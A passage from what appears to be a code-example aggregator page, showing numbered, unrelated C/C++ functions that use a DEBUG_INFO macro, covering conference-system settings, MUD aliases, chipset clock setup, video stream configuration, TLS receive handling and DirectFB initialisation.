        qu_dis_para.limit_speak_num = set_sys.speak_limit & 0xff;
        qu_dis_para.limit_apply_num = set_sys.apply_limit & 0xff;
        qu_dis_para.limit_chm_time = set_sys.chman_limitime ? ENABLE_VAL : FORBID_VAL;
        qu_dis_para.limit_vip_time = set_sys.vip_limitime ? ENABLE_VAL : FORBID_VAL;
        qu_dis_para.limit_speak_time = set_sys.spk_limtime & 0x3f;
        send_data_len = sizeof(tcmpt_discuss_parameter);

        send_upper_computer_command( CMPT_MSG_TYPE_RESPONSE |CMPT_MSG_TYPE_QUERY, \
                                     DISCUSSION_PARAMETER, &qu_dis_para, send_data_len );
    }
    else if((protocol_type & CMPT_MSG_TYPE_MARK) == CMPT_MSG_TYPE_SET )// 设置保存系统状态值并设置系统状态
    {
        get_host_upper_cmpt_data( &set_dis_para, data, CMPT_DATA_OFFSET, sizeof(tcmpt_discuss_parameter));
        DEBUG_RECV( &set_dis_para, sizeof(tcmpt_discuss_parameter), "Dis Param ");

        send_upper_computer_command( CMPT_MSG_TYPE_RESPONSE |CMPT_MSG_TYPE_SET, \
                                     DISCUSSION_PARAMETER, NULL, 0 ); // 第三个与第四个参数与协议有些出入,这里是根据黄工代码写的。协议是数据单元仅一个字节0,设置成功;非零设置失败。而黄工的没有数据单元,故这里写NULL

        if( set_dis_para.discuss_mode == UPPER_CMPT_DISCUSS_FREE_MODE )// 数字会议系统没有自由模式
        {
            terminal_start_discuss( false );
            return 0;
        }

        // 保存配置文件
        if( (profile_dis_param_save_to_ram( &gset_sys, &set_dis_para ) != -1) && (-1 != profile_system_file_write_gb_param( profile_file_fd, &gset_sys )) )
        {
            Fflush( profile_file_fd );
            // 设置系统状态
            uint8_t temp_status = set_dis_para.auto_close;
            if( temp_status != set_sys.auto_close )
            {
                // 自动关闭麦克风
                find_func_command_link( MENUMENT_USE, MENU_AUTO_CLOSE_CMD, 0, &temp_status, 1 );
            }

            temp_status = set_dis_para.discuss_mode;
            if( temp_status != set_sys.discuss_mode )
            {
                // 设置系统讨论模式
                DEBUG_INFO("discuss mode = %d", temp_status);
                find_func_command_link( MENUMENT_USE, MENU_DISC_MODE_SET_CMD, 0, &temp_status, 1 );
            }

            temp_status = set_dis_para.limit_speak_num;
            if( temp_status != set_sys.speak_limit )
            {
                // 设置限制的发言人数
                find_func_command_link( MENUMENT_USE, MENU_SPK_LIMIT_NUM_SET, 0, &temp_status, 1 );
            }

            temp_status = set_dis_para.limit_apply_num;
            if( temp_status != set_sys.apply_limit )
            {
                // 设置限制申请人数
                find_func_command_link( MENUMENT_USE, MUNU_APPLY_LIMIT_NUM_SET, 0, &temp_status, 1 );
            }

            // 限时设置
            terminal_limit_speak_time_set( 0, NULL, 0 );

            // 设置会议讨论状态
            terminal_start_discuss( false );

            //更新数据库系统配置信息
            system_db_update_configure_system_table( gset_sys );
        }
    }

    terminal_main_state_send( 0, NULL, 0 );

    return 0;
}
Esempio n. 13
0
/* does aliasing and other fun stuff */
void substitute_alias(DESCRIPTOR_DATA *d, char *argument)
{
    CHAR_DATA *ch;
    char buf[MAX_STRING_LENGTH],prefix[MAX_INPUT_LENGTH],name[MAX_INPUT_LENGTH];
    char *point;
    int alias;

    ch = d->original ? d->original : d->character;
    if ( !ch ) return;

    if ( get_spirit( ch ) )
    {
	interpret(d->character,argument);
        return;
    }

    /* check for prefix */
    if (ch->prefix[0] != '\0' && str_prefix("prefix",argument)) {
		if (strlen(ch->prefix) + strlen(argument) > MAX_INPUT_LENGTH) {
			send_to_char("Line to long, prefix not processed.\r\n",ch);
		}
		else {
		    sprintf(prefix,"%s %s",ch->prefix,argument);
			argument = prefix;
		}
    }

    if( !IS_NPC(ch)
    &&  HAS_RTRIGGER(ch->in_room, TRIG_INPUT)
    &&  rp_input_trigger(ch,argument))
	return;

    if( !IS_NPC(ch) && op_input_trigger(ch,argument))
	return;

    if (IS_NPC(ch) || ch->pcdata->alias[0] == NULL
    ||	!str_prefix("alias",argument) || !str_prefix("una",argument)
    ||  !str_prefix("prefix",argument))
    {
	interpret(d->character,argument);
	return;
    }


    strcpy(buf,argument);

    for (alias = 0; alias < MAX_ALIAS; alias++)	 /* go through the aliases */
    {
	if (ch->pcdata->alias[alias] == NULL)
	    break;

	if (!str_prefix(ch->pcdata->alias[alias],argument))
	{
	    point = one_argument(argument,name);

	    if (!strcmp(ch->pcdata->alias[alias],name))
	    {
		buf[0] = '\0';
		strcat(buf,ch->pcdata->alias_sub[alias]);

		if(point[0]!='\0')
		{
		    strcat(buf," ");
		    strcat(buf,point);
		}

	        if (strlen(buf) > MAX_INPUT_LENGTH - 1)
	        {
		    send_to_char(
			"Alias zbyt d³ugi. Przyciêto tekst.\r\n",ch);
		    buf[MAX_INPUT_LENGTH -1] = '\0';
	        }
		break;
	    }
	}
    }


    if( !IS_NPC(ch)
    &&  HAS_RTRIGGER(ch->in_room, TRIG_INPUT)
    &&  rp_input_trigger(ch,buf))
	return;
								DEBUG_INFO( "preinterp" );

    interpret(d->character,buf);
}
Esempio n. 14
0
int is_artefact( OBJ_DATA *obj )
{
    DEBUG_INFO( "is_artefact" );
    return is_artefact_vnum( obj->pIndexData->vnum );
}
Esempio n. 15
0
/*
 * nb_misc_clock :
 * rs690 misc clock parameters setting
 */
static void nb_misc_clock(void)
{
	pcitag_t clk_dev = _pci_make_tag(0, 0, 1);
	pcitag_t nb_dev = _pci_make_tag(0, 0, 0);
	pcitag_t gfx_dev2 = _pci_make_tag(0, 2, 0);
	u8 rev = get_nb_revision();
	u32 val;

	/* visible CLK func */
	set_nbcfg_enable_bits(nb_dev, 0x4C, 1 << 0, 1 << 0);

	if(ati_nb_cfg.ext_config & EXT_DEBUG_NB_DYNAMIC_CLK){
		/* disable NB dynamic clock to htiu rx */
		set_nbcfg_enable_bits(clk_dev, 0xE8, 0x07 << 12, 1 << 13);
		/* ENABLE : CLKGATE_DIS_GFX_TXCLK & CLKGATE_DIS_GPPSB_CCLK & CLKGATE_DIS_CFG_S1X */
		set_nbcfg_enable_bits(clk_dev, 0x94, (1 << 16) | (1 << 24) | (1 << 28), 0);
		/* ENABEL : CLKDATE_DIS_IOC_CCLK_MST/SLV, enabel clkdate for C/MCLK goto BIF branch  */
		set_nbcfg_enable_bits(clk_dev, 0x8C, (1 << 13) | (1 << 14) | (1 << 24) | (1 << 25), 0);

		if(rev < REV_RS690_A21){
			/* CKLGATE_DIS_IO_CCLK_MST  */
			set_nbcfg_enable_bits(clk_dev, 0x8C, 1 << 13, 1 << 13);
		}
	
		/* Powering Down efuse and strap block clocks in GFX mode as default */
		set_nbcfg_enable_bits(clk_dev, 0xCC, 1 << 24, 1 << 24);
		/* dynamic clock setting for MC and HTIU */
		val = nbmc_read_index(nb_dev, 0x7A);
		val &= 0xffffffc0;
		val |= 1 << 2;
		if(rev >= REV_RS690_A21){
			val &= ~(1 << 6);
			set_htiu_enable_bits(nb_dev, 0x05, 1 << 11, 1 << 11);
		}
		nbmc_write_index(nb_dev, 0x7A, val);

		if(ati_nb_cfg.gfx_config & (GFX_SP_ENABLE | GFX_UMA_ENABLE)){
			/* Powering Down efuse and strap block clocks in GFX mode : PWM???*/
			set_nbcfg_enable_bits(clk_dev, 0xCC, (1 << 23) | (1 << 24), 1 << 24);
		}else{
			/* nb only mode */
			/* Powers down reference clock to graphics core PLL */
			set_nbcfg_enable_bits(clk_dev, 0x8C, 1 << 21, 1 << 21);
			/* Powering Down efuse and strap block clocks after boot-up */
			set_nbcfg_enable_bits(clk_dev, 0xCC, (1 << 23) | (1 << 24), (1 << 23) | (1 << 24));
			/* powerdown clock to MC */
			set_nbcfg_enable_bits(clk_dev, 0xE4, 1 << 0, 1 << 0);
		}

		if(ati_nb_cfg.pcie_gfx_info == 0){
			if(_pci_conf_read(gfx_dev2, 0x00) == 0xffffffff){
				/* Powerdown GFX ports clock when no external GFX detected */
				set_nbcfg_enable_bits(clk_dev, 0xE8, 1 << 17, 1 << 17);
			}
		}
	}

	/* hide CLK func */
	set_nbcfg_enable_bits(nb_dev, 0x4C, 1 << 0, 0 << 0);

	if(rev >= REV_RS690_A21){
		set_htiu_enable_bits(nb_dev, 0x05, (1 << 8) | (1 << 9), (1 << 8) | (1 << 9));
		set_htiu_enable_bits(nb_dev, 0x05, (1 << 10), (1 << 10));
	}
	
	DEBUG_INFO("NB POST STAGE : nb_misc_clock function : should we use PWM for efuse and strap powerdown?\n");

	return;
}
Esempio n. 16
0
int GetStreamInfo(const char* conffile,std::vector<SysPkgEncodeCfg*>& cfgs)
{
    SysPkgEncodeCfg* pNewCfg=NULL;
    GMI_RESULT gmiret;
    FD_HANDLE xmlhd=NULL;
    int ret,count =0;
    unsigned int i;
    int maxpath=1024;
    std::auto_ptr<char> pFmtPath2(new char[maxpath]);
    char *pFmtPath = pFmtPath2.get();
    int streamlen =32;
    std::auto_ptr<char> pFmtStream2(new char[streamlen]);
    char *pFmtStream = pFmtStream2.get();
    int value;

    if (cfgs.size() > 0)
    {
		ERROR_INFO("\n");
        return -EINVAL;
    }

    gmiret = GMI_XmlOpen(conffile,&xmlhd);
    if (gmiret != GMI_SUCCESS)
    {
        ret =-EIO;
		ERROR_INFO("\n");
        goto fail;
    }

    gmiret = GMI_XmlRead(xmlhd,STREAM_ENCODE_PATH,STREAM_NUM_ITEM,0,&count,GMI_CONFIG_READ_ONLY);
    if (gmiret != GMI_SUCCESS)
    {
        ret = -errno ? -errno : -1;
		ERROR_INFO("\n");
        goto fail;
    }

	DEBUG_INFO("[%s].[%s]count %d\n",STREAM_ENCODE_PATH,STREAM_NUM_ITEM,count);
    for (i= 0 ; i < (unsigned int)count ; i ++)
    {
        ret = snprintf(pFmtStream,streamlen,"Stream%d",i);
        if (ret < 0)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        if (ret >= streamlen)
        {
            ret = -ENOSPC;
        	ERROR_INFO("\n");
            goto fail;
        }

        ret = snprintf(pFmtPath,maxpath,"%s%s/",STREAM_ENCODE_PATH,pFmtStream);
        if (ret < 0)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        if (ret >= maxpath)
        {
            ret = -ENOSPC;
        	ERROR_INFO("\n");
            goto fail;
        }

        assert(pNewCfg == NULL);
        pNewCfg = (typeof(pNewCfg))calloc(sizeof(*pNewCfg),1);
        if (pNewCfg == NULL)
        {
            ret = -ENOMEM;
        	ERROR_INFO("\n");
            goto fail;
        }
		pNewCfg->s_VideoId = 1;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODETYPE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }

        switch(value)
        {
        case 1:
            pNewCfg->s_Compression = SYS_COMP_H264;
            break;
        case 2:
            pNewCfg->s_Compression = SYS_COMP_MJPEG;
            break;
        default:
            ret = -EINVAL;
        	ERROR_INFO("%s/%svalue %d\n",pFmtPath,STREAM_ENCODETYPE_ITEM,value);
            goto fail;
        }
		gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_STREAMTYPE_ITEM,1,&value,GMI_CONFIG_READ_ONLY);
		if (gmiret != GMI_SUCCESS)
		{
			ret = -errno ?-errno : -1;
			ERROR_INFO("\n");
			goto fail;
		}
		pNewCfg->s_StreamType = value;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODEWITH_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }

        pNewCfg->s_PicWidth = value;


        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODEHEIGHT_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_PicHeight = value;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATETYPE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_BitrateCtrl = value;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATEAVERAGE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_BitRateAverage = value;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATEUP_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_BitRateUp= value;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_BITRATEDOWN_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_BitRateDown= value;


        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_FRAMERATE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_FPS = value;


        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_FRAMEINTERVAL_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_Gop= value;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ENCODEQUALITY_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_Quality = value;

        gmiret = GMI_XmlRead(xmlhd,pFmtPath,STREAM_ROTATE_ITEM,0,&value,GMI_CONFIG_READ_ONLY);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto fail;
        }
        pNewCfg->s_Rotate= value;

		pNewCfg->s_Flag = i;

		DebugSysPkgEncodeCfg(pNewCfg);

        cfgs.push_back(pNewCfg);
        pNewCfg = NULL;

    }

    assert(pNewCfg == NULL);
    assert((int)cfgs.size() == count);

    GMI_XmlFileSave(xmlhd);
    xmlhd = NULL;


    return count;

fail:
    if (pNewCfg)
    {
        free(pNewCfg);
    }
    pNewCfg = NULL;
    while(cfgs.size() > 0)
    {
        pNewCfg = cfgs[0];
        cfgs.erase(cfgs.begin());
        free(pNewCfg);
        pNewCfg = NULL;
    }
    if (xmlhd)
    {
        GMI_XmlFileSave(xmlhd);
    }
    xmlhd = NULL;
    return ret;
}
Esempio n. 17
0
int main(int argc, char* const* argv)
{
    // pass the id number to display on the command line
    char *fname, *sid;
    uint64_t i_id;
    int c;

    DEBUG_INIT("getidblock.log", NULL);
    DEBUG_ENT("main");

    while ((c = getopt(argc, argv, "bp")) != -1) {
        switch (c) {
            case 'b':
                // enable binary output
                binary = 1;
                break;
            case 'p':
                // enable procesing of block
                process = 1;
                break;
            default:
                usage();
                exit(EXIT_FAILURE);
        }
    }

    if (optind + 1 >= argc) {
        // no more items on the cmd
        usage();
        exit(EXIT_FAILURE);
    }
    fname = argv[optind];
    sid   = argv[optind + 1];
    i_id  = (uint64_t)strtoll(sid, NULL, 0);

    DEBUG_INFO(("Opening file\n"));
    memset(&pstfile, 0, sizeof(pstfile));
    if (pst_open(&pstfile, fname, NULL)) {
        DIE(("Error opening file\n"));
    }

    DEBUG_INFO(("Loading Index\n"));
    if (pst_load_index(&pstfile) != 0) {
        DIE(("Error loading file index\n"));
    }

    if (i_id) {
        dumper(i_id);
    }
    else {
        pst_index_ll *ptr = pstfile.i_head;
        while (ptr) {
            dumper(ptr->i_id);
            ptr = ptr->next;
        }
        dump_desc(pstfile.d_head, NULL);
    }

    if (pst_close(&pstfile) != 0) {
        DIE(("pst_close failed\n"));
    }

    DEBUG_RET();
    return 0;
}
Esempio n. 18
0
int main(int argc,char* argv[])
{
    int ret;
    GMI_RESULT gmiret;
    std::vector<SysPkgEncodeCfg*> cfgs;
	std::vector<SysPkgAudioEncodeCfg*> audiocfgs;
    std::auto_ptr<SysPkgEncodeCfg> pCfgs2(new SysPkgEncodeCfg);
	std::auto_ptr<SysPkgAudioEncodeCfg> pAudio2(new SysPkgAudioEncodeCfg);
	SysPkgAudioEncodeCfg *pAudios=pAudio2.get();
    SysPkgEncodeCfg* pCfgs=pCfgs2.get();
    unsigned int i;
	FD_HANDLE hd=NULL;
	int sdkport=-1;
	int localport=-1;
    if (argc < 2)
    {
        Usage(3,NULL);
    }

	if (argc >= 4)
	{
		localport = atoi(argv[3]);
	}
	else
	{
		localport = __GetBindPort();
	}

	if (argc >= 5)
	{
		sdkport = atoi(argv[4]);
	}
	else
	{
		sdkport = __GetSdkPort();
	}

	hd = GMI_RudpSocket(localport);
	if (hd ==NULL)
	{
		ret = -errno ? -errno : -1;
		ERROR_INFO("could not bind port %d\n",localport);
		goto out;
	}
	DEBUG_INFO("localport %d sdkport %d\n",localport ,sdkport);

    if (strcmp(argv[1],"--start") == 0)
    {
        if (argc < 3)
        {
            Usage(3,"%s need config file",argv[1]);
        }

        ret = GetStreamInfo(argv[2],cfgs);
        if (ret < 0)
        {
        	ERROR_INFO("\n");
            goto out;
        }

		ret = GetAudioInfo(argv[2],audiocfgs);
		if (ret < 0)
		{
			ERROR_INFO("\n");
			goto out;
		}

        pCfgs2.reset(new SysPkgEncodeCfg[cfgs.size()]);
        pCfgs = pCfgs2.get();
		pAudio2.reset(new SysPkgAudioEncodeCfg[audiocfgs.size()]);
		pAudios = pAudio2.get();

        for (i=0; i<cfgs.size(); i++)
        {
            memcpy(&(pCfgs[i]),cfgs[i],sizeof(*pCfgs));
        }

		for (i=0;i<audiocfgs.size();i++)
		{
			memcpy(&(pAudios[i]),audiocfgs[i],sizeof(*pAudios));
		}

        gmiret = StartStreamTransfer(hd,sdkport,pCfgs,cfgs.size(),pAudios,audiocfgs.size(),10);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
        	ERROR_INFO("\n");
            goto out;
        }

        fprintf(stdout,"start succ\n");

    }
    else if (strcmp(argv[1],"--stop") == 0)
    {
        gmiret = StopStreamTransfer(hd,sdkport,10);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
            goto out;
        }
        fprintf(stdout,"stop succ\n");
    }
    else if (strcmp(argv[1],"--resume") == 0)
    {
        if (argc < 3)
        {
            Usage(3,"%s need config file",argv[1]);
        }

        ret = GetStreamInfo(argv[2],cfgs);
        if (ret < 0)
        {
            goto out;
        }

		ret = GetAudioInfo(argv[2],audiocfgs);
		if (ret < 0)
		{
			ERROR_INFO("\n");
			goto out;
		}

        pCfgs2.reset(new SysPkgEncodeCfg[cfgs.size()]);
        pCfgs = pCfgs2.get();
		pAudio2.reset(new SysPkgAudioEncodeCfg[audiocfgs.size()]);
		pAudios = pAudio2.get();

        for (i=0; i<cfgs.size(); i++)
        {
            memcpy(&(pCfgs[i]),cfgs[i],sizeof(*pCfgs));
        }

		for (i=0;i<audiocfgs.size();i++)
		{
			memcpy(&(pAudios[i]),audiocfgs[i],sizeof(*pAudios));
		}

        gmiret = ResumeStreamTransfer(hd,sdkport,pCfgs,cfgs.size(),pAudios,audiocfgs.size(),10);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
            goto out;
        }
        fprintf(stdout,"resume succ\n");
    }
    else if (strcmp(argv[1],"--pause") == 0)
    {
        gmiret = PauseStreamTransfer(hd,sdkport,10);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
            goto out;
        }
        fprintf(stdout,"pause succ\n");
    }
    else if (strcmp(argv[1],"--query")==0)
    {
        int started;
        gmiret = QueryStreamTransfer(hd,sdkport,10,&started);
        if (gmiret != GMI_SUCCESS)
        {
            ret = -errno ? -errno : -1;
            goto out;
        }
        fprintf(stdout,"stream state %d\n",started);
    }
    else
    {
        Usage(3,NULL);
    }

out:
	if (hd != NULL)
	{
		GMI_RudpSocketClose(hd);
	}
	hd = NULL;
    return ret;
}
Esempio n. 19
0
int __CheckProcessIdModuleInserted(unsigned int procid,const char* pPartDll)
{
    HANDLE hModSnap=INVALID_HANDLE_VALUE;
    int ret;
    BOOL bret;
    char* pCmpDllName=NULL;
    MODULEENTRY32 mentry;
    int curnum=0;
#ifdef _UNICODE
    int cmpdllnamesize=0;
#endif

try_again:
    hModSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,procid);
    if(hModSnap == INVALID_HANDLE_VALUE)
    {
        ret = LAST_ERROR_CODE();
        if(ret != ERROR_BAD_LENGTH)
        {
            //ERROR_INFO("[%d] snap module error(%d)\n",procid,ret);
            goto fail;
        }
        /*we try again for next use*/
        goto try_again;
    }

    mentry.dwSize = sizeof(mentry);

    bret = Module32First(hModSnap,&mentry);
    if(!bret)
    {
        ret = LAST_ERROR_CODE();
        ERROR_INFO("[%d] first error(%d)\n",procid,ret);
        goto fail;
    }

#ifdef _UNICODE
    ret = UnicodeToAnsi(mentry.szModule,&pCmpDllName,&cmpdllnamesize);
    if(ret < 0)
    {
        ret = LAST_ERROR_CODE();
        ERROR_INFO("[%d]:[%d] get module name error(%d)\n",procid,curnum,ret);
        goto fail;
    }
#else
    pCmpDllName = mentry.szModule;
#endif
    //DEBUG_INFO("[%d]:[%d] modname %s partdll %s\n",procid,curnum,pCmpDllName,pPartDll);
    if(_stricmp(pCmpDllName,pPartDll)==0)
    {
		DEBUG_INFO("[%d] find %s\n",procid,pPartDll);
        goto findout;
    }

    curnum ++;

    while(Module32Next(hModSnap,&mentry))
    {
#ifdef _UNICODE
        ret = UnicodeToAnsi(mentry.szModule,&pCmpDllName,&cmpdllnamesize);
        if(ret < 0)
        {
            ret = LAST_ERROR_CODE();
            ERROR_INFO("[%d]:[%d] get module name error(%d)\n",procid,curnum,ret);
            goto fail;
        }
#else
        pCmpDllName = mentry.szModule;
#endif
        //DEBUG_INFO("[%d]:[%d] modname %s partdll %s\n",procid,curnum,pCmpDllName,pPartDll);
        if(_stricmp(pCmpDllName,pPartDll)==0)
        {
			DEBUG_INFO("[%d] find %s\n",procid,pPartDll);
            goto findout;
        }
        curnum ++;
    }


#ifdef _UNICODE
    UnicodeToAnsi(NULL,&pCmpDllName,&cmpdllnamesize);
#endif
    if(hModSnap != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hModSnap);
    }
    hModSnap = INVALID_HANDLE_VALUE;
    return 0;
findout:
#ifdef _UNICODE
    UnicodeToAnsi(NULL,&pCmpDllName,&cmpdllnamesize);
#endif
    if(hModSnap != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hModSnap);
    }
    hModSnap = INVALID_HANDLE_VALUE;
    return 1;
fail:
#ifdef _UNICODE
    UnicodeToAnsi(NULL,&pCmpDllName,&cmpdllnamesize);
#endif
    if(hModSnap != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hModSnap);
    }
    hModSnap = INVALID_HANDLE_VALUE;
    SetLastError(ret);
    return -ret;
}
Esempio n. 20
0
int SdkServerStream::__InitIPC()
{
    int startport,serverport;
    GMI_RESULT gmiret;
    uint32_t type;
    int i;
    startport = this->__GetClientStartPort();
    serverport = this->__GetServerPort();

    //TODO we need to get startport and server here

    /*now first to initialize*/
    for(i=0; i<100; i++)
    {
        gmiret = this->m_IPCClient.Initialize(startport + i,GM_STREAM_APPLICATION_ID);
        if(gmiret == GMI_SUCCESS)
        {
            DEBUG_INFO("Initialize Port (%d)\n",startport + i);
            break;
        }
    }

    if(gmiret != GMI_SUCCESS)
    {
        return -EFAULT;
    }
    this->m_Initialized = 1;

    serverport += this->m_StreamId;
    if(this->m_Type == SYS_COMP_H264)
    {
        type = MEDIA_VIDEO_H264;
    }
    else if(this->m_Type == SYS_COMP_MJPEG)
    {
        type = MEDIA_VIDEO_MJPEG;
    }
    else if(this->m_Type == SYS_COMP_MPEG4)
    {
        type = MEDIA_VIDEO_MPEG4;
    }
    else
    {
        this->__ClearIPC();
        return -EFAULT;
    }
#ifdef STREAM_PULL_MODE
    gmiret = this->m_IPCClient.Register(serverport,type,this->m_StreamId,true,NULL,NULL);
#else
    gmiret = GMI_FAIL;
#endif
    if(gmiret != GMI_SUCCESS)
    {
        ERROR_INFO("register port %d at streamid %d error 0x%08lx\n",
                   serverport,this->m_StreamId,gmiret);
        this->__ClearIPC();
        return -EFAULT;
    }
    this->m_Registered = 1;
    return 0;
}
Esempio n. 21
0
static bool recv_handler(int *err, struct mbuf *mb, bool *estab, void *arg)
{
	struct tls_conn *tc = arg;
	int r;

	/* feed SSL data to the BIO */
	r = BIO_write(tc->sbio_in, mbuf_buf(mb), (int)mbuf_get_left(mb));
	if (r <= 0) {
		DEBUG_WARNING("recv: BIO_write %d\n", r);
		*err = ENOMEM;
		return true;
	}

	if (SSL_state(tc->ssl) != SSL_ST_OK) {

		if (tc->up) {
			*err = EPROTO;
			return true;
		}

		if (tc->active) {
			*err = tls_connect(tc);
		}
		else {
			*err = tls_accept(tc);
		}

		DEBUG_INFO("state=0x%04x\n", SSL_state(tc->ssl));

		/* TLS connection is established */
		if (SSL_state(tc->ssl) != SSL_ST_OK)
			return true;

		*estab = true;
		tc->up = true;
	}

	mbuf_set_pos(mb, 0);

	for (;;) {
		int n;

		if (mbuf_get_space(mb) < 4096) {
			*err = mbuf_resize(mb, mb->size + 8192);
			if (*err)
				return true;
		}

		n = SSL_read(tc->ssl, mbuf_buf(mb), (int)mbuf_get_space(mb));
		if (n < 0) {
			const int ssl_err = SSL_get_error(tc->ssl, n);

			switch (ssl_err) {

			case SSL_ERROR_WANT_READ:
				break;

			default:
				*err = EPROTO;
				return true;
			}

			break;
		}
		else if (n == 0)
			break;

		mb->pos += n;
	}

	mbuf_set_end(mb, mb->pos);
	mbuf_set_pos(mb, 0);

	return false;
}
Esempio n. 22
0
int SdkServerStream::__PushStreamData(void * pData,uint32_t datalen,uint32_t datatype,uint32_t idx,uint64_t pts)
{
    GMI_RESULT gmiret;
    int ret = 0;
    void* pDiscardPtr=NULL;
    int discardidx = -1;
    unsigned int i,fidx;
    uint32_t didx;

    //DEBUG_INFO("push data idx(0x%x) type(%d) pts(0x%llx)\n",idx,datatype,pts);

    gmiret = this->m_Mutex.Lock(TIMEOUT_INFINITE);
    SDK_ASSERT(gmiret == GMI_SUCCESS);

    SIZE_EQUAL_ASSERT();

    if(this->m_DataVec.size() < this->m_MaxPacks)
    {
        ret = 1;
        this->m_DataIdx.push_back(idx);
        this->m_DataLen.push_back(datalen);
        this->m_DataVec.push_back(pData);
        this->m_DataType.push_back(datatype);
        this->m_DataPts.push_back(pts);
    }
    else if(datatype == I_FRAME_TYPE)
    {
        fidx = this->m_DataType.size();
        fidx -= 1;
        discardidx= -1;
        /*first to find the last p-frame ,if not success ,just get the oldest i-frame*/
        for(i=0; i<this->m_DataType.size(); i++)
        {
            if(this->m_DataType[fidx - i] != I_FRAME_TYPE)
            {
                discardidx = fidx - i;
                break;
            }
        }

        /*if all is i-frame ,just discard the first one*/
        if(discardidx < 0)
        {
            discardidx = 0;
        }

        pDiscardPtr = this->m_DataVec[discardidx];
        didx = this->m_DataIdx[discardidx];

        /*erase the old one*/
        this->m_DataVec.erase(this->m_DataVec.begin()+discardidx);
        this->m_DataIdx.erase(this->m_DataIdx.begin()+discardidx);
        this->m_DataType.erase(this->m_DataType.begin()+discardidx);
        this->m_DataLen.erase(this->m_DataLen.begin()+discardidx);
        this->m_DataPts.erase(this->m_DataPts.begin()+discardidx);

        this->m_DataVec.push_back(pData);
        this->m_DataIdx.push_back(idx);
        this->m_DataLen.push_back(datalen);
        this->m_DataType.push_back(datatype);
        this->m_DataPts.push_back(pts);
        ret = 1;
    }

    this->m_Mutex.Unlock();

    if(pDiscardPtr)
    {
        SDK_ASSERT(ret > 0);
        DEBUG_INFO("DISCARD 0x%08x\n",didx);
        free(pDiscardPtr);
        pDiscardPtr = NULL;
    }

    return ret;
}
G_GNUC_INTERNAL
gboolean
_mdw_default_player_display_init(MdwDefaultPlayerDisplay** p_display, GError** error)
{
    g_assert(p_display != NULL && *p_display == NULL);
    g_assert(error == NULL || *error == NULL);

    DFBResult err;
    
    MdwDefaultPlayerDisplay* display = g_new0(MdwDefaultPlayerDisplay, 1);

    DEBUG_INFO("Initing DirectFB by DirectFBInit");
    if (G_UNLIKELY((err = DirectFBInit(NULL, NULL)) != DFB_OK)) {
        _mdw_default_player_display_finalize(&display);
        g_assert(display == NULL);
        MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "DirectFBInit failed:%s", DirectFBErrorString(err));
    }

    DEBUG_INFO("Creating DirectFB super interface");
    if (G_UNLIKELY((err = DirectFBCreate(&display->dfb)) != DFB_OK)) {
        _mdw_default_player_display_finalize(&display);
        g_assert(display == NULL);
        MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "DirectFBCreate failed:%s", DirectFBErrorString(err));
    }
    
    DEBUG_INFO("Getting DirectFB layer number: %u", VIDEO_LAYER);
